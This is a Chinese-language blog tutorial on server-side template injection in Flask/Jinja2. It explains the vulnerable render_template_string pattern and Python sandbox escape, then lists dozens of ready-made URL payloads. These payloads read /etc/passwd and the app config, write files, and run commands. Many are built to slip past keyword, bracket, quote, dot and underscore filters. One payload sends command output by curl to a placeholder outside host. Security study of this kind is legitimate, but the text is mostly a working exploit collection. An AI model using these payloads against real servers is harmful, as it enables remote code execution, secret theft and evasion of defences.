详解Flask SSTI 利用与绕过技巧V2
作者:admin | 时间:2023-3-19 11:23:23 | 分类:黑客技术 隐藏侧边栏展开侧边栏
SSTI(Server-Side Template Injection)即服务端模板注入攻击,这里为Flask 框架的模版渲染引擎 jinja2 的SSTI,模板渲染其实并没有漏洞,主要是开发者编写代码不规范导致了SSTI。
一. Flask SSTI基础
1.1 模版和模版引擎
模版简单理解一段内容中存在可动态替换的部分。模版引擎就是做好一个模板后套入对应位置的数据,最终以html的格式展示出来。
模板引擎可以让网站程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。但是往往新的开发都会导致一些安全问题,虽然模板引擎会提供沙箱机制,但同样存在沙箱逃逸技术来绕过。
Jinja2是Flask作者开发的一个模版引擎,在Jinja2中,存在三种语句:控制结构 {% %}、变量取值 {{ }}、注释 {# #}。
1.2 模版渲染函数
Flask提供两个模版渲染函数 render_template() 和render_template_string()。
1.2.1 render_template
render_template()函数的第一个参数为渲染的目标html页面、第二个参数为需要加载到页面指定标签位置的内容。
创建test.py,并启动
from flask import Flask from flask import request, render_template app = Flask(__name__) @app.route('/') def test_ssti(): name="test" if request.args.get('name'): name = request.args.get('name') return render_template("index.html", name=name)
if __name__ == "__main__": app.run(debug=True) |
在当前目录新建templates目录,在其中新建index.html
<h1>Hello {{ name }}!</h1> |
HTML内容中是以这种变量取值语句的形式来处理传入的参数的,此时name的值无论是什么内容,都会被当作是字符串来进行处理而非模板语句来执行,比如即使传入的是config来构成,但其也只会把参数值当作是字符串而非模板语句。
1.2.2 render_template_string
render_template_string()函数作用和前面的类似,顾名思义,区别在于只是第一个参数并非是文件名而是字符串。也就是说,我们不需要再在templates目录中新建HTML文件了,而是可以直接将HTML代码写到一个字符串中,然后使用该函数渲染该字符串中的HTML代码到页面即可。
from flask import Flask from flask import request, render_template_string app = Flask(__name__) @app.route('/') def test_ssti(): name="test" if request.args.get('name'): name = request.args.get('name') template = '<h1>Hello {{ name }}!</h1>' return render_template_string(template, name=name) if __name__ == "__main__": app.run(debug=True) |
1.3 SSTI成因
SSTI漏洞点为在render_template_string()函数中,作为模板的字符串参数中的传入参数是通过%s的形式获取而非变量取值语句的形式获取,从而导致攻击者通过构造恶意的模板语句来注入到模板中、模板解析执行了模板语句从而实现SSTI攻击。
from flask import Flask from flask import request, render_template_string app = Flask(__name__) @app.route('/') def test_ssti(): name="test" if request.args.get('name'): name= request.args.get('name') template = '<h1>Hello %s!</h1>' % name return render_template_string(template, name=name)
if __name__ == "__main__": app.run(debug=True) |
{{}}内能够解析表达式和代码,但直接插入import os;os.system('whoami') 是无法执行的,Jinjia 引擎限制了使用import,这时可以利用python的魔法方法和一些内置属性。
二. 沙箱逃匿
2.1 魔术方法
python沙箱逃逸还是离不开继承关系和子父类关系,在查看和使用类的继承,魔术方法起到了不可比拟的作用。
__class__ 返回一个实例所属的类 __mro__ 查看类继承的所有父类,直到object __subclasses__() 获取一个类的子类,返回的是一个列表 __bases__ 返回一个类直接所继承的类(元组形式) __init__ 类实例创建之后调用, 对当前对象的实例的一些初始化 __globals__ 使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价 __getattribute__ 当类被调用的时候,无条件进入此函数。 __getattr__ 对象中不存在的属性时调用 __dict__ 返回所有属性,包括属性,方法等 __builtins__ 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数 |
无法直接使用import导入模块,不过通过魔术方法和一些内置属性可以找到很多基类和子类,有些基类和子类是存在一些引用模块的,只要我们初始化这个类,再利用__globals__调用可利用的函数,就可以进行利用。
2.2 沙箱逃匿流程
1.获取object类
python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,主要是通过__mro__ 和 __bases__两种方式来创建。
__mro__ 属性获取类的MRO(方法解析顺序),也就是继承关系。
().__class__.__bases__[0] {}.__class__.__bases__[0] [].__class__.__bases__[0] ''.__class__.__bases__[0] #python3 |
__bases__ 属性可以获取上一层的继承关系,如果是多层继承则返回上一层的东西,可能有多个。
().__class__.__mro__[1] {}.__class__.__mro__[1] [].__class__.__mro__[1] ''.__class__.__mro__[1]#python3 ''.__class__.__mro__[2]#python2 |
2.获取子类列表
然后通过object类的__subclasses__()方法获取所有的子类列表,查看可用的类。
().__class__.__bases__[0].__subclasses__() |
若类中有file,考虑读写操作. (python2)
[].__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read() [].__class__.__mro__[1].__subclasses__()[40]('/tmp/test.txt', 'w').write('xxx’) |
(2)找到重载过的__init__类。
在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的,因为wrapper是指这些函数并没有被重载,这时它们并不是function,不具有__globals__属性。
写个脚本帮我们来筛选出重载过的init类的类:
l=len([].__class__.__mro__[1].__subclasses__()) for i in range(l): if 'wrapper' not in str([].__class__.__mro__[1].__subclasses__()[i].__init__): print(i,[].__class__.__mro__[1].__subclasses__()[i]) |
重载过的__init__类的类具有__globals__属性,这里以WarningMessage为例,会返回很多dict类型。
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__ |
寻找keys中的__builtins__来查看引用,这里同样会返回很多dict类型:
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__'] |
相关利用如下:
__builtins__利用
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read() |
linecache利用
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['os'].system('whoami’) [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami’) [].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['__builtins__']['__import__']('os').system('ls’) |
sys利用
[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['sys'].modules['os'].system('whoami') |
三. 漏洞利用
3.1 XSS
传入什么返回什么,直接输入XSS语句。%s传入的参数不会进行HTML编码的,因为Flask并没有将整个内容视为字符串。
?name=<script>alert(1);</script> |
3.2 敏感信息泄漏
config是Flask模版中的一个全局对象,它代表”当前配置对象(flask.config)”,它是一个类字典的对象,它包含了所有应用程序的配置值。在大多数情况下,它包含了比如数据库链接字符串,连接到第三方的凭证,SECRET_KEY等敏感值。某些情况下,当获取secret_key后,即可对session进行重新签名,完成session的伪造。
?name={{config}} |
3.3 文件读取
python2
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd').read()}} ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd').read() ?name=''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['open']('E:/passwd').read() |
python3(无file,只能用open)
?name=''.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__['__builtins__']['open']('E:/passwd').read() |
__subclasses__()[数字]在不同的python版本中类的位置序号可能不同,应根据具体的python环境修改为相应类的位置序号。
3.4 文件写入
python2
?name={{''.__class__.__mro__[2].__subclasses__()[40]('E:/passwd','w').write('test')}} ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd','w').write('test') ?name=''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('E:/passwd','w').write('test') |
3.5 命令执行
?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].popen('whoami').read()}} ?name={{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('platform').popen('whoami').read()}} |
四. 过滤绕过
4.1 过滤关键字
4.1.1 字符串拼接绕过
凡是以字符串形式作为参数的都可以使用拼接的形式来绕过特定关键字的检测。
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__buil'+'tins__']['__imp'+'ort__']('o'+'s').popen('who'+'ami').read()}} |
4.1.2 单双引号绕过
?name={{''['__class__'].__mro__[1].__subclasses__()[139].__init__.__globals__['__bui''ltins__']['__impo''rt__']('o''s').popen('who''ami').read()}} |
4.1.3 编码绕过
1.base64编码
python2下使用,python3没有decode方法
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['X19pbXBvcnRfXw=='.decode('base64')]('os').popen('whoami').read()}} |
2.Unicode编码绕过
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f']('os').popen('whoami').read()}} |
- 16进制编码绕过
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}} |
- 8进制编码绕过
?name={{''['\137\137\143\154\141\163\163\137\137'].__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\137\137\151\155\160\157\162\164\137\137']('os').popen('whoami').read()}} |
4.2 过滤[]括号
4.2.1 __getitem__()绕过
使用getitem()方法输出序列属性中某个索引处的元素,相当于[]
?name={{''.__class__.__mro__[1].__subclasses__().__getitem__(139).__init__.__globals__.__getitem__('__builtins__').__getitem__('__import__')('os').popen('whoami').read()}} |
4.2.2 点绕过
访问字典里的值有两种方法,一种是把相应的键放入方括号[]里来访问,一种就是用点.来访问。当方括号[]被过滤之后,还可以用点.的方式来访问
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__('os').popen('whoami').read()}} |
4.3 过滤引号
4.3.1 request对象绕过
request有两种形式,request.args和request.values,POST和GET传递的数据都可以被接收。
?name={{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(request.args.v1).popen(request.values.v2).read()}}&v1=os&v2=whoami |
4.3.2 chr绕过
GET请求时,+号记得url编码,要不会被当作空格处理。
?name={% set chr=().__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.chr%}{{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__.__builtins__.__import__(chr(111)%2Bchr(115)).popen(chr(119)%2Bchr(104)%2Bchr(111)%2Bchr(97)%2Bchr(109)%2Bchr(105)).read()}} |
4.4 过滤点
4.4.1 中括号[]绕过
?name={{''['__class__']['__mro__'][1]['__subclasses__']()[139]['__init__']['__globals__']['__builtins__']['eval']('__import__("os").popen("whoami").read()')}} |
4.4.2 |attr()绕过
|attr()为jinja2原生函数,是一个过滤器,它只查找属性获取并返回对象的属性的值,过滤器与变量用管道符号( | )分割.
?name={{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(139)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}} |
4.5 过滤_
4.5.1 request对象绕过
?name={{''[request.args.v1][request.args.v2][1][request.args.v3]()[139][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1=__class__&v2=__mro__&v3=__subclasses__&v4=__init__&v5=__globals__&v6=__builtins__&v7=eval&v8=__import__("os").popen("whoami").read() |
4.6 过滤{{
4.6.1 {% if ... %}1{% endif %}
使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带出来,不外带的话执行结果无回显。
{% if ''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("curl http://xxx.xxx.xxx.xxx:12345/?i=`whoami`").read()') %}1{% endif %} |
4.6.2 {%print(......)%}
{% print(''.__class__.__base__.__subclasses__()[139].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls").read()')) %} |